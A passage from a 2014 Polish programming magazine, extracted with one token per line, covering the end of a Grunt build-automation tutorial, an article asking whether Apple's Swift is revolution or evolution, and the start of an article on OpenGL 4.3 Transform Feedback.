'uglify'
])
;
// rejestracja dodatkowa do minimalizacji js
grunt
.
registerTask
(
'js'
,
[
'uglify:my_target'
])
;
};
Mamy pierwsze skonfigurowane i działające zadania
my_target oraz
other_scope.
Zadaniem
my_target jest wczytanie z plików zawartości z src/file1.js
i
src/file2.js, następnie złączenie ich do jednego pliku desc/output.min.js,
oraz skompresowanie.
Uruchomienie zadań
Uruchomienie zadań można wykonać na kilka sposobów w konsoli w katalo-
gu z plikiem
Gruntfile.js.
Wykonanie domyślnego zadania:
default (grunt.registerTask('default', ['uglify']);),
może być zapisane w postaci:
./grunt default, lub ./grunt.
Uruchomienie naszego zdefiniowanego zadania:
grunt.registerTask('js', ['uglify:my_target']);
./grunt js
Można również uruchomić task bez definiowania poleceniem
registerTask.
Polecenie
./grunt uglify:my_target będzie działało identycznie jak
./grunt js, natomiast polecenie ./grunt uglify będzie działało tak jak
./grunt default.
W tym momencie struktura naszego katalogu będzie wyglądała
następująco:
/package.js - paczka zależności npm
/Grunfile.js - konfiguracja grunta
/node_modules - zainstalowane moduły
/src/
/file1.js
/file2.js
/vendors
/bootstrap.js
/desc/
/vendors.min.js
/output.min.js
/grunt
Grunt watch
W tym momencie mamy pewien powtarzalny zestaw reguł, dzięki któremu
nie musimy już myśleć co i jak skompresować. W dalszym ciągu jednak nie po-
zbyliśmy się ciągłego przełączania się pomiędzy konsolą a naszym edytorem
w celu wykonania zdefiniowanych zadań. Czy jest na to sposób i czy Grunt
może nam w tym pomóc? Zdecydowanie tak, znowu mamy już gotowe roz-
wiązanie, które możemy dostosować do swoich potrzeb.
Rozwiązaniem tym jest plugin grunt-contrib-watch, którego zadaniem jest
śledzenie zmian, jakie są zapisywane w plikach na dysku, i uruchamianie ściśle
określonych zadań. Na bazie naszego poprzedniego przykładu chcemy zmie-
niać skrypty znajdujące się w katalogu src/ i po zapisaniu mieć gotowy zmini-
malizowany plik desc/output.min.js, jednocześnie nie potrzebujemy sprawdzać
zewnętrznych bibliotek znajdujących się w katalogu vendors/.
Podobnie jak poprzednio instalujemy i włączamy zadanie:
npm install grunt-contrib-watch --save-dev
Plik Gruntfile.js
// ...
grunt
.
loadNpmTasks
(
'grunt-contrib-watch'
)
;
// ...
Następnie przechodzimy do skonfigurowania pluginu, przedstawiona konfi-
guracja jest minimalna, sam plugin ma wiele ciekawych ustawień. Wydaję mi
się, że jedną z bardziej interesujących jest opcja
livereload, która pozwala
przy pomocy odpowiednich pluginów automatycznie przeładować zawartość
strony. Jest to bardzo dobra opcja, kiedy pracujemy na dwóch monitorach, dzię-
ki temu bez odrywania rąk z klawiatury widzimy zmiany na stronie od razu po
przegenerowaniu JavaScript'u lub przekompilowaniu less'a do CSS'a.
14
/ 6
. 2014 . (25) /
BIBLIOTEKI I NARZĘDZIA
// ...
grunt
.
initConfig
(
{
// ...
watch
:
{
scripts
:
{
files
:
'js/*.js'
,
tasks
:
[
'uglify:my_target'
],
}
,
css
:
{
files
:
'less/*.less'
,
tasks
:
[
'less'
],
options
:
{
livereload
:
1337
}
}
,
}
,
// ...
}
)
;
// ...
Jak widać z konfiguracji: śledzimy wszystkie zmiany w katalogu js/ w plikach
z rozszerzeniem .js, po zmianie odpalany jest task kompresujący tylko i wyłącznie
nasze pliki, nie dotykając plików z zewnętrznych bibliotek. Oddzielnie śledzone są
pliki z rozszerzeniem .less, pod które podpięty jest całkiem inny task.
System plików
Bardzo ważną cechą zadań Grunta są pewne reguły działające na systemie pli-
ków. W pierwszym przykładzie z uglify podawaliśmy ścieżki do konkretnych
plików JS, które mają być kompresowane, tzw. static mappings. Ale co w przy-
padku kiedy plików JS lub less w danym katalogu jest dużo? Wypisanie każdego
z osobna jest również czasochłonne i nieefektywne. I tutaj ponownie pomaga
nam
Grunt, który potrafi przeprowadzać automatyczne operacje na strukturze
plików (*dynamic mappings*). Potrafi zwrócić tablice wszystkich plików w da-
nym katalogu, albo tylko te, które pasują do pełnego wzorca. Przykład:
/src/*.js - zwróci wszystkie pliki znajdujące się w katalogu src/
z rozszerzeniem .js
/src/{x,y,z}.js - zwróci pliki o nazwach x.js, y.js, z.js
znajdujące się w katalogu src/
Szablony
Czasem potrzebujemy ustawić pewne opcje dynamicznie, np. ścieżkę docelo-
wą CSS'a, która zmienia się w zależności od numeru wersji produktu.
W tym celu możemy skorzystać z szablonów, a raczej systemu dynamicz-
nych zmiennych pobieranych z ustawień Grunta. W tym celu można użyć spe-
cjalnych tagów
<% %>. Przykład:
grunt
.
initConfig
(
{
concat
:
{
sample
:
{
src
:
[
'baz/*.js'
],
dest
:
'build/<%= bar %>.js'
,
// 'build/bcd.js'
}
,
}
,
foo
:
'c'
,
bar
:
'b<%= foo %>d'
// 'bcd'
}
)
;
Syndrom dużego projektu
Z natury programiści lubią małe funkcje, małe pliki i prostą logikę. Co zrobić,
kiedy Gruntfile.js urośnie nam do 1500 linijek ?
Można rozbić ustawienia na wiele mniejszych plików, w tym przykładzie
użyłem pluginu load-grunt-configs, który wczytuje dodatkową konfigurację
ze wskazanych plików:
var
options
=
{
config
:
{
src
:
[
"
tasks/*.js
"
,
...]
}
};
var
configs
=
require
(
'load-grunt-configs'
)(
grunt
,
options
)
;
grunt
.
initConfig
(
configs
)
;
W naszym przykładzie stworzyliśmy katalog tasks/, a w nim pliki
uglify.js,
watch.js i less.js. Przykład pliku watch.js:
module
.
exports
.
tasks
=
{
watch
:
{
scripts
:
{
files
:
'js/*.js'
,
// ścieżka jakie pliki mają być śledzone
tasks
:
[
'uglify:my_target'
],
// zadanie jakie ma być wykonane
po każdej zmianie
}
,
css
:
{
files
:
'less/*.less'
,
tasks
:
[
'less'
],
options
:
{
livereload
:
1337
}
}
}
}
POLECANE PLUGINY
Lista przydatnych pluginów, dzięki którym możemy zaoszczędzić sporo czasu:
» grunt-contrib-watch – śledzenie zmian na plikach i uruchamianie odpo-
wiednich tasków po zmianie zawartości
» grunt-contrib-uglify – minimalizacja plików JavaScriptowych
» grunt-contrib-concat – łączenie wielu plików w jeden
» grunt-responsive-images – tworzenie wielu wersji obrazka dopasowa-
nych do różnych rozdzielczości
» grunt-spritesmith – zapisuje wszystkie zdjęcia w jednym pliku i generuje
CSS (less, Sass) z odpowiednimi parametrami position-background
» grunt-bower-task – package manager dla stron i aplikacji internetowych
» grunt-contrib-copy – kopiowanie plików
» grunt-contrib-coffee – kompiluje pliki CoffeeScript do JavaScriptu
» grunt-contrib-jshint – pomaga znaleźć potencjalne problemy w JavaScript
» grunt-contrib-imagemin – kompresja obrazków
» grunt-contrib-qunit – testy jednostkowe JavaScript
» grunt-contrib-less, grunt-contrib-sass, grunt-contrib-stylus – Preprocesory CSS:
I wiele innych pluginów, które pomogą w codziennych zadaniach.
PODSUMOWANIE
Pomimo że poznanie, zrozumienie i wdrożenie Grunta wymaga czasu i pew-
nych kosztów, to korzyści z jego używania są dużo większe niż w przypadku
ręcznego dbania o jakość tworzonych rozwiązań. Jeżeli uda się przebrnąć przez
początek, to kolejny dzień w pracy rozpoczniesz od polecenia grunt watch,
a każdy kolejny projekt rozpocznie się od instalacji i skonfigurowania Grunta.
Kacper Cyran
Absolwent Wydziału Elektroniki, Automatyki i Informatyki na Politechnice Śląskiej
w Gliwicach. Od 2008 tworzy i rozwija aplikacje internetowe na stanowisku pro-
gramisty. Aktualnie pracuje w firmie ComVision, w której odpowiedzialny jest za
rozwój platformy SMSAPI.
16
/ 6
. 2014 . (25) /
JĘZYKI PROGRAMOWANIA
Rafał Kocisz
O tym, jak dużą niespodzianką jest Swift, szczególnie dla doświadczonych
programistów wytwarzających oprogramowanie dedykowane systemom
pod znaku jabłuszka, świadczyć może to, że przez ostatnie dwadzieścia lat
korzystali oni tylko i wyłącznie z języka Objective-C. Język ten, zaprojektowa-
ny w 1983 roku przez Brad'a Cox'a oraz Tom'a Love'a, został wykorzystany do
zaprogramowania systemu operacyjnego NeXTstep, którego następcami są
OS X oraz iOS.
Póki co nic nie wskazywało na jakiekolwiek zmiany w tej materii. Co wię-
cej, język ten przeszedł stosunkowo niedawno dość poważny lifting (Objec-
tive-C 2.0), co mogło jedynie utwierdzić jego użytkowników w przekonaniu
o jego monopolistycznej pozycji w swoim segmencie rynku. A tutaj na po-
czątku czerwca 2014 roku - taka niespodzianka.
Czym więc jest Swift? Apple w następujący sposób podsumowuje ten język:
Swift to innowacyjny, nowy język programowania dla Cocoa oraz Cocoa To-
uch. Cechuje się dużym poziomem interakcji, a pisanie w nim programów jest
przyjemnością. Składnia języka jest bardzo zwięzła, a jednocześnie pełna wyrazu.
Aplikacje pisane w tym języku działają szybko jak błyskawica. Swift jest z miej-
sca gotowy do użycia w Twoim kolejnym projekcie pod iOS lub OS X, bądź przy
rozszerzaniu istniejącej aplikacji, bo kod napisany w tym języku działa ramię w
ramię z Objective-C.
W tym krótkim opisie podkreślone są cechy tego języka, przyjrzyjmy im
się bliżej:
» Innowacyjność. Pod tym hasłem kryje się zestaw nowoczesnych mechani-
zmów języka takich jak: domknięcia leksykalne (ang. closures), krotki (ang.
tuples), typy generyczne (ang. generics), klasy oraz elementy zapożyczone
z języków funkcjonalnych, np. map czy filter. W tym ujęciu Swift wpisuje
się w kanon współczesnych, interpretowanych języków programowania
takiej klasy jak Python, Ruby, Groovy.
» Interakcja. Pod tym hasłem kryje się interaktywna powłoka języka (tzw.
REPL), która umożliwia programiście interakcję z kodem w czasie działania
aplikacji. REPL nie jest w zasadzie niczym nowym, programiści korzystają-
cy z innych języków interpretowanych używają tego mechanizmu od lat,
jednakże w uniwersum Apple jest zdecydowanie powiew świeżości. Poza
tym programiści iOS oraz OS X w ramach nowej wersji sztandarowego IDE
marki Apple (Xcode) mają do dyspozycji interaktywne narzędzie Playgro-
unds (Rysunek 1), które pozwala między innymi wizualizować działanie
budowanych algorytmów, tworzyć w locie testy jednostkowe oraz łatwo
eksperymentować z nowymi API.
» Wydajność. Apple na każdym kroku podkreśla, że Swift pod kątem wydaj-
ności nie ustępuje językowi Objective-C, przede wszystkim dzięki temu, iż
jest on w locie przekształcany do zoptymalizowanego kodu natywnego.
Faktem pozostaje, że komentarze pojawiające się ze strony programistów
eksperymentujących z językiem, w kontekście wydajności aplikacji pisa-
nych w Swift, nie są aż tak optymistyczne jak chciałoby Apple...
» Dostępność. Swift'a może zacząć z miejsca używać każdy, kto ma konto
developerskie Apple. W takim wypadku wystarczy pobrać i zainstalować
sobie paczkę ze środowiskiem Xcode 6 Beta. Oprócz tego Apple oferuje
całkiem pokaźny zestaw materiałów do nauki tego języka.
Rysunek 1. Narzędzie Playgrounds w akcji
Rzućmy okiem na Swift od strony praktycznej. Na początek oczywiście szybkie
spojrzenie na program typu Hello, World! (patrz: Listing 1).
Listing 1. Program typu Hello, World! w Swift
println
(
"Hello, World!"
)
Pierwsze wnioski, które nasuwają się po analizie tego krótkiego programu, są
następujące:
» aplikację typu Hello, World! w języku Swift da się napisać w jednej linii!
» Swift nie wymaga stosowania średników jako separatorów instrukcji,
» w Swift korzystamy z nawiasów okrągłych przy wywoływaniu funkcji, nie-
jako w opozycji do nawiasów kwadratowych używanych przy wywoływa-
niu metod w Objective-C.
Programiści korzystający ze Swift będą się musieli pożegnać z rozróżnieniem
pomiędzy plikami nagłówkowymi (.h) a źródłowymi (.m). Programy pisane w
nowym języku Apple umieszczane są w pojedynczych plikach tekstowych
opatrzonych rozszerzeniem.swift.
Swift: rewolucja czy ewolucja?
Na tegorocznym WWDC Apple zafundowało wszystkim swoim developerom sporą
niespodziankę w postaci... nowego języka programowania! Swift, bo o tym właśnie
języku tu mowa, to dla wielu programistów duży znak zapytania. W niniejszym ar-
tykule postaram się przybliżyć czytelnikowi ten temat oraz udzielić odpowiedzi na
pytanie postawione w tytule: czy Swift należy postrzegać w kategoriach rewolucji,
czy po prostu mamy do czynienia z nieuchronną ewolucją...
18
/ 6
. 2014 . (25) /
JĘZYKI PROGRAMOWANIA
Szkolenia realizowane przez Akademię EITCA:
Nie będzie też znaków plus (+) oraz minus (-), służących do rozróżniania
zwykłych metod od metod statycznych w Objective-C. Składnia definicji klasy
została w Swift bardzo uproszczona. Na Listingu 2 przedstawione są dwie pro-
ste definicje klas:
Shape oraz Square prezentujące takie mechanizmy języka
jak konstruktory, dziedziczenie czy przeciążanie funkcji wirtualnych.
Listing 2. Proste definicje klas w Swift
class
Shape
{
var
numberOfSides:
Int
=
0
var
name:
String
init
(
name:
String
)
{
self
.
name
=
name
}
func
toString
()
->
String
{
return
"A shape with \(numberOfSides) sides."
}
}
class
Square
:
Shape
{
var
sideLength:
Double
init
(
sideLength:
Double
,
name:
String
)
{
self
.
sideLength
=
sideLength
super
.
init
(
name:
name
)
numberOfSides
=
4
}
func
area
()
->
Double
{
return
sideLength
*
sideLength
}
override func
toString
()
->
String
{
return
"A square with sides of length \(sideLength)."
}
}
let test
=
Square
(
sideLength:
5.2,
name:
"my test square"
)
test
.
area
()
test
.
toString
()
Bardzo miłym akcentem jest wsparcie dla mechanizmu właściwości (ang. pro-
perties) powiązanych z akcesorami (
get/set), znanego z takich języków pro-
gramowania jak C# czy AcionScript 3.0. Na Listingu 2a pokazana jest prosta
definicja klasy korzystająca z tego udogodnienia.
Listing 2. Przykład użycia mechanizmu właściwości w Swift
class
EquilateralTriangle
:
Shape
{
var
sideLength:
Double
=
0.0
init
(
sideLength:
Double
,
name:
String
)
{
self
.
sideLength
=
sideLength
super
.
init
(
name:
name
)
numberOfSides
=
3
}
var
perimeter:
Double
{
get
{
return
3.0
*
sideLength
}
set
{
sideLength
=
newValue
/
3.0
}
}
override func
toString
()
->
String
{
return
"An equilateral triagle with "
"sides of length \(sideLength)."
}
}
Dużą zmianą w stosunku do Objective-C jest niewątpliwie wprowadzenie me-
chanizmu typów uogólnionych (ang. generics). Dla przykładu, klasa
NSArray
z Objective-C może w zasadzie przechowywać obiekty dowolnego typu (przy
czym wszystkie one muszą dziedziczyć po protokole
NSObject). Rozwiązanie
to, pomimo stwarzania pozoru dużej elastyczności, w praktyce jest bardzo mało
odporne na błędy, przede wszystkim ze względu na fakt, iż kompilator nie jest w
stanie wykryć pewnych niezgodności, które objawiają się dopiero w czasie wy-
konania programu. Typy uogólnione w Swift, czyli mechanizm zbliżony do sza-
blonów języka C++, pozwalają tworzyć definicje klas parametryzowane typami.
W tym układzie niezgodność typów jest wykrywana już na etapie kompilacji.
Listing 3 pokazuje przykład użycia typów uogólnionych w Swift.
Listing 3. Typy uogólnione w Swift
struct IntPair
{
let
a:
Int
!
let
b:
Int
!
init
(
a:
Int
,
b:
Int
)
{
self
.
a
=
a
self
.
b
=
b
}
func
equal
()
->
Bool
{
return
a
==
b
}
}
let intPair
=
IntPair
(
a:
5,
b:
10)
intPair
.
a
// 5
intPair
.
b
// 10
intPair
.
equal
()
// false
struct Pair
<
T:
Equatable
>
{
let
a:
T
!
let
b:
T
!
init
(
a:
T
,
b:
T
)
{
self
.
a
=
a
self
.
b
=
b
}
func
equal
()
->
Bool
{
return
a
==
b
}
}
let pair
=
Pair
(
a:
5,
b:
10)
pair
.
a
// 5
pair
.
b
// 10
pair
.
equal
()
// false
let floatPair
=
Pair
(
a:
3.14159,
b:
2.0)
floatPair
.
a
// 3.14159
floatPair
.
b
// 2.0
floatPair
.
equal
()
// false
Skoro już mówimy o typach, trzeba jasno powiedzieć, że Swift jest językiem
silnie typowanym, co można uznać za duży krok do przodu w dziedzinie od-
porności na błędy. Ceną za silne typowanie jest zazwyczaj bardziej skompli-
kowana składnia (patrz: język C++). Projektanci Swift podjęli próbę zmierzenia
się z tym problemem, wprowadzając do swojego języka mechanizm inferencji
typów, czyli technikę stosowaną w językach statycznie typizowanych, która
zwalnia programistę z obowiązku specyfikowania typów, przerzucając obo-
wiązek ich identyfikacji na kompilator. Przykład zastosowania tego mechani-
zmu w Swift pokazany jest na Listingach 4a oraz 4b.
Listing 4a. Tworzenie instancji obiektu w Objective-C
Person
*
me
=
[[Person alloc] initWithName
:
@"Rafal Kocisz"
];
[me sayHello];
Listing 4b. Inferencja typów w Swift
var me
=
Person
(
name:
"Rafal Kocisz"
)
me
.
sayHello
()
20
/ 6
. 2014 . (25) /
JĘZYKI PROGRAMOWANIA
Listingi te pokazują dwa przypadki tworzenia instancji obiektu klasy
Per-
son; jeden w Objective-C, zaś drugi w Swift. Jak widać, w drugim przypadku
kompilator sam jest w stanie wydedukować typ obiektu, co w rezultacie skut-
kuje znacznym uproszczeniem składni.
Dużo pozytywnych zmian pojawia się w Swift w związku z obsługą napi-
sów. W nowym języku od Apple napisy są pełnoprawnymi obiektami, można
je łatwo porównywać za pomocą operatora == czy łączyć dzięki zastosowaniu
operatorów + oraz +=. W Swift nie istnieje również rozróżnienie pomiędzy napi-
sami zmiennymi (ang. mutable) oraz niezmiennymi (ang. immutable), które wy-
stępowało w Objective-C. Niejeden programista ucieszy się też z faktu, że napi-
sy dostępne w ramach języka Swift domyślnie obsługują pełny zestaw znaków
Unicode! Co ciekawe, znaków tego rodzaju można używać również w nazwach
identyfikatorów. Biorąc pod uwagę to, jak niewygodna jest obsługa napisów w
języku Objective-C, opisane wyżej zmiany będą zapewne bardzo miłe progra-
mistom wytwarzającym aplikacje pod system iOS oraz OS X.
Warto też wspomnieć o znacznym usprawnieniu instrukcji
switch, któ-
ra w przypadku Swift'a - w odróżnieniu od Objective-C - obsługuje zarówno
napisy, jak i założone obiekty. Poza tym, instrukcja
switch w nowym języku
od Apple domyślnie wykonuje skok do kolejnej instrukcji tuż po wykonaniu
kodu umieszczonego w dopasowanej sekcji
case. W tym układzie słowo klu-
czowe
break (którego używanie wiąże się niejednokrotnie z powstawaniem
trudnych do wyśledzenia błędów) przestaje być potrzebne. Dla tych, którzy
mimo wszystko chcieliby mieć możliwość wywołania kilku sekcji
case pod
rząd, Swift oferuje słowo kluczowe
fallthrough, za pomocą którego można
tego rodzaju efekt uzyskać. Na Listingu 5 przedstawiony jest przykład użycia
instrukcji
switch w języku Swift.
Listing 5. Przykład użycia instrukcji switch w języku Swift
let vegetable
=
"red pepper"
switch
vegetable
{
case
"celery"
:
let vegetableComment
=
"Add some raisins and make ants on a log."
case
"cucumber"
,
"watercress"
:
let vegetableComment
=
"That would make a good tea sandwich."
case
let x where x
.
hasSuffix
(
"pepper"
):
let vegetableComment
=
"Is it a spicy \(x)?"
default
:
let vegetableComment
=
"Everything tastes good in soup."
}
Koniec końców, autorom Swift należy się duża pochwała za dodanie do tego
języka elementów programowania funkcjonalnego. Przede wszystkim, w
Swift funkcje są pełnoprawnymi obiektami, które można przekazywać jako
parametry, przechowywać w kontenerach itd. Swift oferuje również domknię-
cia leksykalne (ang. closures), mechanizm podobny nieco do bloków (ang.
blocks) z Objective-C 2.0, jednakże bardziej potężny: porównywalny z wyra-
żeniami lambda rodem z języka C#. Listing 6 zawiera kilka przykładów użycia
opisanych wyżej mechanizmów w kodzie Swift (między innymi: funkcja, która
zwraca funkcję; funkcja, która przyjmuje inną funkcję jako parametr, a także
praktyczne zastosowanie domknięcia leksykalnego).
Listing 6. Elementy programowania funkcjonalnego w języku Swift
func
makeIncrementer
()
->
(
Int
->
Int
)
{
func
addOne
(
number:
Int
)
->
Int
{
return
1
+
number
}
return
addOne
}
var increment
=
makeIncrementer
()
increment
(7)
func
hasAnyMatches
(
list:
Int
[],
condition:
Int
->
Bool
)
->
Bool
{
for
item
in
list
{
if
condition
(
item
)
{
return
true
}
}
return
false
}
func
lessThanTen
(
number:
Int
)
->
Bool
{
return
number
<
10
}
var numbers
=
[20,
19,
7,
12]
hasAnyMatches
(
numbers
,
lessThanTen
)
numbers
.
map
(
{
(
number:
Int
)
->
Int
in
let result
=
3
*
number
return
result
})
Na tym będziemy kończyć nasz pobieżny przegląd możliwości języka. Celowo
użyłem tutaj słowa „pobieżny”, jako że moim zamiarem było przede wszystkim
przybliżenie czytelnikowi istoty języka Swift; pod takim też kątem starałem się
dobrać prezentowane przykłady. W dalszej części artykułu postaram się odpo-
wiedzieć na kilka pytań, które mogły pojawić się w Twojej głowie w związku
z pojawieniem się nowego języka do Apple.
Póki co, drogi przyjacielu, nigdzie się nie wybieram! ;) - taką odpowiedź usłysze-
libyśmy zapewne od języka Objective-C, gdyby umiał on mówić. Objective-C
mówić oczywiście nie potrafi, jednakże umiejętność tę posiadły rzesze pro-
gramistów, którzy na co dzień korzystają z tego języka. Wyobrażasz sobie ich
reakcję w sytuacji, gdyby miał on z dnia na dzień zniknąć, wyparować? Taki
eksperyment myślowy polecam wszystkim tym, którzy prowadzą zagorzałe
dyskusje na temat najbliższej przyszłości Objective-C.
Trochę trudniej jest odpowiedzieć na inne pytanie: „którego języka w
tym układzie warto się uczyć?“. Generalnie, wydaje się, że opracowując Swift,
Apple chciał z jednej strony obniżyć barierę wejścia dla tych, którzy dopiero
uczą się programować, zaś z drugiej strony - zrobić ukłon w kierunku młodszej
generacji programistów wychowanych na takich językach jak Python, Ruby
czy C#. Dla tych programistów przesiadka na Swift będzie czymś zupełnie
naturalnym.
Co z kolei ze starszą generacją programistów (do której sam się już nieste-
ty w pewnym stopniu zaliczam ;))? Dla tych ludzi, zakorzenionych w językach
pokroju C oraz C++, Swift będzie prawdopodobnie nieco mniej atrakcyjny.
Osobom tego pokroju zapewne łatwiej byłoby nadal używać Objective-C,
który jest przecież nadzbiorem klasycznego C.
Trudno przewidywać dalsze ruchy Apple w zakresie wsparcia dla języków
programowania; podejrzewam, że przed nami jest dość ciekawy okres przej-
ściowy, czas, w którym Apple będzie starać się przesunąć środek ciężkości
zainteresowania programistów w kierunku Swift'a. Jednakże jestem głęboko
przekonany, że Objective-C jeszcze długo pozostanie z nami.
Biorąc pod uwagę to wszystko, co opisałem powyżej, moja odpowiedź na to
pytanie może być tylko jedna: zdecydowanie ewolucja!
No bo zastanówmy się: w dziedzinie języków programowania Swift prze-
cież żadną rewolucję nie jest. Jest to oczywiście wysokiej klasy nowoczesny
język programowania, ale nie wprowadza nic takiego, co można by uznać za
SWIFT: REWOLUCJA CZY EWOLUCJA?
reklama
jakąś rewelację. Gdyby Apple zdecydował się wprowadzić np. własny dialekt
Lispu jako swój nowy, oficjalny język programowania, to być może byłbym
skłonny uznać taki ruch za rewolucyjny... Swoją drogą, szkoda, że się na to nie
zdecydowali... Trudno mówić również o rewolucji w kontekście jakichś gwał-
townych zmian (Objective-C póki co pozostaje z nami).
W mojej opinii Swift'a należy postrzegać jako nowe, fajne narzędzie,
które dostaliśmy w prezencie od firmy Apple, i podchodzić to tego tak, jak
należy podchodzić do narzędzia: to znaczy w sposób pragmatyczny, a nie
emocjonalny.
Bardzo spodobał mi się pewien komentarz na jednym z forów, na którym
rozgorzała dyskusja dotycząca przyszłości Swift'a oraz Objective-C. Autor
komentarza zauważył, że w gruncie rzeczy kwestia języka, z którego w da-
nym momencie korzystamy, jest w dużym stopniu drugorzędna. Prawdziwa
trudność (a zarazem sztuka) związana z programowaniem leży w umiejętno-
ści konstruowania algorytmów, projektowania interfejsów, klas itd. Z kolei
w przypadku programowania systemów iOS oraz OS X znacznie ważniejszym
(i trudniejszym) zadaniem w stosunku do opanowania języka jest poznanie
oraz zrozumienie olbrzymiej biblioteki klas dostępnych w ramach framewor-
ków Cocoa oraz Cocoa Touch.
W tym ujęciu, tym, którzy pytają: czego warto się dziś uczyć, odpowiem tak:
uczcie się programować aplikacje pod systemy iOS oraz OS X, zgłębiajcie API
Cocoa oraz Cocoa Touch. A czy będziecie używać do tego celu języka Objec-
tive-C, czy może Swift'a, wydaje mi się naprawdę kwestią drugorzędną. Wy-
bierzcie sobie po prostu ten język, który lepiej Wam pasuje! :)
Rafał Kocisz
Rafał od dziesięciu lat pracuje w branży związanej z produkcją oprogramowania. Jego
zawodowe zainteresowania skupiają się przede wszystkim na nowoczesnych technologiach
mobilnych oraz na programowaniu gier. Rafał pracuje aktualnie jako Techniczny Koordyna-
tor Projektu w firmie BLStream.
22
/ 6
. 2014 . (25) /
PROGRAMOWANIE GRAFIKI
Piotr Sydow
W
poniższym artykule zobaczymy, w jaki sposób zbudowany jest
opisywany mechanizm na przykładzie procesora geometrii, oraz
przedstawimy sposób, w jaki można wykorzystać jego zalety, nie
tylko do zadań związanych z tworzeniem trójwymiarowych obrazów, ale rów-
nież w celu przeprowadzania obliczeń czy symulacji.
Nazwa Transform Feedback (TFBK) została zarezerwowana w OpenGL dla
części funkcjonalności potoku graficznego odpowiedzialnego za ponowne
wykorzystanie przetwarzanej geometrii. W dużym skrócie: mechanizm ten
polega na ciągłym zapisywaniu aktualne przetwarzanych prymitywów gra-
ficznych (punkt, trójkąt etc.) do zewnętrznego bufora, o formacie identycz-
nym do bufora wejściowego. Po przetworzeniu wszystkich danych z bufora
wejściowego następuje zamiana buforów: wejściowego z wyjściowym oraz
wysłana komenda wymuszająca kolejny przebieg przetwarzania. W ten spo-
sób dane, raz wysłane do pamięci VRAM karty graficznej, będą ciągle zastępo-
wane nowymi bez konieczności ingerencji głównego procesora w zawartość
pamięci VRAM.
Mechanizm TFBK zalicza się do statycznych elementów architektury
OpenGL. Jego funkcjonowanie jest kontrolowane tylko przy użyciu zmien-
nych maszyny stanu, natomiast nie ogranicza to w żaden sposób jego możli-
wości. OpenGL posiada dużo ustawień, które pozwalają dostosować sposób
jego działania do wymagań programisty. Sposób jego wykorzystania w dużej
mierze zależy od aktualnej konfiguracji potoku przetwarzającego. W danym
momencie tylko jeden procesor geometrii może przesyłać dane poprzez
magistralę TFBK do bufora zewnętrznego. Natomiast tylko ostatni jest bez-
pośrednio z nią połączony. Oznacza to, że jeśli w potoku graficznym znajduje
się tylko procesor wierzchołków VS, będzie on bezpośrednio połączony z bu-
forem zewnętrznym mechanizmu TFBK. Jeżeli natomiast włączony zostanie
dodatkowo procesor geometrii Geometry Shader, to będzie bezpośrednio
połączony z buforem zewnętrznym, a bezpośrednie powiązanie Vertex Sha-
der z mechanizmem TFBK przestanie istnieć. Gdy uruchomimy dodatkowo
procesor Tesselation Shader, w dalszym ciągu bezpośrednio z mechanizmem
TFBK będzie połączony procesor Geometry Shader. Jest to spowodowa-
ne kolejnością, w jakiej występują poszczególne procesory w architekturze
OpenGL (Rysunek 1).
Włączenie funkcji TFBK nie jest jednoznaczne z przekierowaniem strumie-
nia danych tylko do bufora zewnętrznego. Efekt działania takiego algorytmu
można wyświetlić na ekranie, jeśli nie zostanie to zablokowane poprzez wy-
wołanie polecenia:
glEnable
(
GL_RASTERIZER_DISCARD
);
Przetwarzanie geometrii przy pomo-
cy mechanizmu Transform Feedback
OpenGL 4.3
Architektura OpenGL od początku swojego istnienia ulega ciągłym modyfikacjom.
Wraz z kolejnymi wersjami standardu pojawiają się nowe możliwości przetwarzania
zarówno geometrii, jak i obrazu. Siłę standardu można zawdzięczyć wielu elementom
architektury. Jednak bardzo istotny wpływ na jego popularność miało zunifikowanie
formatu danych wyjściowych oraz danych wejściowych dla każdego etapu przetwarza-
nia. Pozwoliło to na projektowanie algorytmów, w których wynik poprzednich obliczeń
służy jako źródło dla następnych. Rekurencyjny charakter architektury OpenGL jest do-
stępny zarówno po stronie procesora obrazu Fragment Shader (FS), jak i procesorów
geometrii: Vertex Shader (VS), Tesselation Shader (TS) oraz Geometry Shader (GS).
Powoduje ono całkowite zablokowanie przesyłania geometrii do mechani-
zmu odpowiedzialnego za rasteryzację geometrii. W efekcie program Frag-
ment Shader nie jest uruchamiany.
glDisable
(
GL_RASTERIZER_DISCARD
);
Wywołanie powyższego polecenia przywraca normalny przepływ danych z
części przetwarzającej geometrię do elementów potoku graficznego odpo-
wiedzialnych za przetwarzanie obrazu.
Do poprawnego funkcjonowania mechanizmu TFBK niezbędne jest zdefi-
niowanie zmiennych oznaczonych kwalifikatorem
out wewnątrz ostatniego
programu przetwarzających geometrię. Pozostałe programy również wymaga-
ją występowania takich zmiennych (poprawna komunikacja w potoku), jednak
z perspektywy działania TFBK nie są one istotne. Dowiązanie magistrali TFBK
do wyjścia Shadera następuje poprzez wywołanie polecenia, którego jednym
z parametrów jest tablica z nazwami zmiennych
varying. Tylko dane okre-
ślonych zmiennych zostaną przekierowane do bufora Transform Feedback
Buffer. Zmienne, które zostały przekierowane tylko do bufora TFBK, mogą być
rozpoznane przez sterownik OpenGL jako nieaktywne. W związku z tym należy
każdorazowo po wywołaniu poniższego polecenia uruchomić proces łączenia
programu cieniującego przy pomocy procedury
glLinkProgram(program).
void
glTransformFeedbackVaryings
(
GLuint
program,
GLsizei
count,
const
GLchar
*
const
* varying,
GLenum
bufferMode
);
Bardzo istotnym elementem jest określenie ostatniego parametru
buffer-
Mode. Jego wartość zależy od sposobu, w jaki przygotowane są dane wejściowe
do programu cieniującego geometrię VS. Oczywiście jest to wymagane tylko w
przypadku, gdy program będzie działał na zasadzie symulacji. W innym przy-
padku nie ma konieczności dokładnego dopasowania buforów wejściowego
z wyjściowym. Możliwe są dwie wartości zaprezentowane w poniższej tabeli.
GL_SEPARATE_ATTRIBS
Każdy atrybut wysyłany jest do osobne-
go bufora TFBK
GL_INTERLEAVED_ATTRIBS Wszystkie atrybuty zapisywane są w
jednym buforze TFBK
Tabela 1. Możliwe wartości parametru bufferMode
23
/ www.programistamag.pl /
PRZETWARZANIE GEOMETRII PRZY POMOCY TRANSFORM FEEDBACK OPENGL 4.3
Drugim istotnym elementem uruchamiania TFBK, po ustaleniu zmien-
nych, jakie mają zostać zapisywane, jest określenie miejsca, do którego należy
je wysłać. Podany poniżej przykład prezentuje trzy możliwe konfiguracje (Li-
sting 1). Przez wybranie polecenia: a) uzyskujemy możliwość zapisania tylko
jednego atrybutu dla parametru
bufferMode = GL_SEPARATE_ATTRIBS,
natomiast dla drugiego parametru
GL_INTERLEAVED_ATTRIBS ilość atry-
